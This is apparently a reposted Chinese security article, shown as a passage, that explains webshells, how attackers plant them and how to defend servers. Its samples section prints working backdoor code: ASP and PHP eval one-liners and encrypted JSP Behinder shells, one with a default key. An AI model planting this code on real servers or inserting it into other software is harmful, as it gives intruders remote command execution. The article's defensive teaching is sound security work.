二、什么是webshell
三、webshell样例
asp一句话木马程序代码
<%eval request("sb")%>
程序代码
<%execute request("sb")%>
程序代码
<%execute(request("sb"))%>
程序代码
<%execute request("sb")%><%'<% loop <%:%>
程序代码
<%'<% loop <%:%><%execute request("sb")%>
程序代码
<%execute request("sb")'<% loop <%:%>
<script language=vbs runat=server>eval(request("sb"))</script>
程序代码
%><%Eval(Request(chr(35)))%><%
程序代码
<%eval request("sb")%>
程序代码
<%ExecuteGlobal request("sb")%>
程序代码
if Request("sb")<>"" then ExecuteGlobal request("sb") end if
//容错代码
程序代码
<%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%>
<%
var lcx = {'名字' : Request.form('#'), '性别' : eval, '年龄' : '18', '昵称' : '请叫我一声老大'};
lcx.性别((lcx.名字)+'');
%>
//使用冰狐一句话客户端链接
php一句话
程序代码
<?php eval($_POST[sb])?>
程序代码
<?php @eval($_POST[sb])?> //容错代码
程序代码
<?php assert($_POST[sb]);?> //使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
jsp一句话木马(冰蝎2版本)
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
jsp一句话木马(冰蝎3版本)
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
jsp一句话木马(冰蝎4版本)
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
String k="e45e329feb5d925b";
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
}
return c.doFinal(decodebs);
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>
asp一句话木马(菜刀版)
try
{Response.Write(Environment.OSVersion+"rn");
Response.Write(Request.ServerVariables["SERVER_SOFTWARE"]+"rn");
Response.Write(Environment.UserName+"rn");
Response.Write(Request.ServerVariables["LOCAL_ADDR"]+"rn");
}
catch(x)
{
Response.Write(x.Message);
}
四、webshell入侵方式有哪些
常见的Webshell入侵方式以下类型:
1.利用站点上传漏洞,上传Webshell
系统前台的上传业务可被利用来上传Webshell脚本,而被上传的目录往往对用户开放可执行权限。在Web中有上传图像、资料文件的地方,上传完后通常会向客户端返回上传文件的完整URL信息;该URL一般是常见的image、upload等目录。
如果Web服务器对网站存取权限或者文件夹目录权限控制不严,就可能被利用来实现Webshell攻击。攻击者可以利用上传功能上传一个脚本文件,然后通过URL访问并执行这个脚本;然后攻击者就可以上传Webshell到网站的任意目录中,从而拿到网站的管理员控制权限。
2.利用站点管理后台上传webshell
黑客获取管理员的后台密码,登录到后台系统,利用后台的管理工具向配置文件写入Webshell木马;或者私自添加上传类型,允许上传类似ASP、PHP格式的脚本程序文件。
3.利用数据库备份与恢复功能生成Webshell
例如,备份时把备份文件的后缀改成 .asp;如果后台有MySQL数据查询功能,黑客可以执行select...in To outfile查询输出PHP文件,并把代码插入到MySQL,从而生成Webshell的木马。
4.系统中其他站点被攻击,或者服务器上还搭载了FTP服务器。
FTP服务器被攻击时被注入了Webshell的木马,导致网站系统被感染。
5.黑客直接攻击Web服务器系统漏洞,实现入侵。
Web服务器在系统层面也可能存在漏洞,如果黑客利用其漏洞攻击服务器系统;在获取其权限后,黑客就可以在Web服务器目录里上传Webshell文件。
综上,Webshell能够入侵到系统,一般是由于以下原因:
-
通过Web站点漏洞上传Webshell。
Webshell能够被注入,在很大程度是由于服务器或中间件的安全漏洞。例如,以下常见漏洞都可能被利用来注入Webshell:旧版本的IIS目录解析漏洞、文件名解析漏洞、应用后台暴露和弱口令、Fast-CGI解析漏洞、Apache文件解析漏洞、截断上传、后台数据库备份功能上传、数据库语句上传漏洞等。
-
站点部署时混入了Webshell文件。
大量的用户在使用从网上下载的第三方开源代码时,其代码本身已经混入了Webshell的恶意脚本,造成二次入侵或多次入侵。所以在部署前期,如果不是新开发的代码,都需要对代码进行恶意文件扫描查杀,防止上线后被入侵。
五、防范webshell入侵需要做哪些工作
-
配置必要的防火墙并开启防火墙策略,防止暴露不必要的服务,为黑客提供利用条件。 -
对服务器进行安全加固。例如,关闭远程桌面功能、定期更换密码、禁止使用最高权限用户运行程序、使用HTTPS加密协议。定期更新系统和软件补丁,以修复已知的漏洞,降低系统被攻击的风险。 -
限制文件上传的类型和大小,对用户上传的文件进行严格的过滤和检测,防止恶意文件的上传。 -
加强权限管理,对敏感目录进行权限设置,限制上传目录的脚本执行权限,不允许配置执行权限等。 -
限制特定目录解析,如,对特定目录(images、upload、js、css、templetes等非存放jsp的目录)禁止解析jsp、jspx、asp、php等文件,例如:可以用Nginx配置进行拦截,返回403状态码。 -
安装可信赖的安全防护软件,对服务器进行实时监控和防护,及时发现和清除webshell,如安装Webshell检测工具或防病毒软件,发现检测结果后,立即隔离查杀,并排查漏洞。 -
排查程序存在的漏洞,并及时修补漏洞。您可以通过应急响应服务人工界入,协助排查漏洞及入侵原因,同时可以选用商业WAF(Web应用防火墙)或IPS(入侵防御系统)等进行防御,降低被入侵机率。 -
在服务器所在网络中部署全流量分析系统,及时发现入侵痕迹从而进行迅速应急响应。
原文始发于微信公众号(长风实验室):如何防范webshell入侵
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论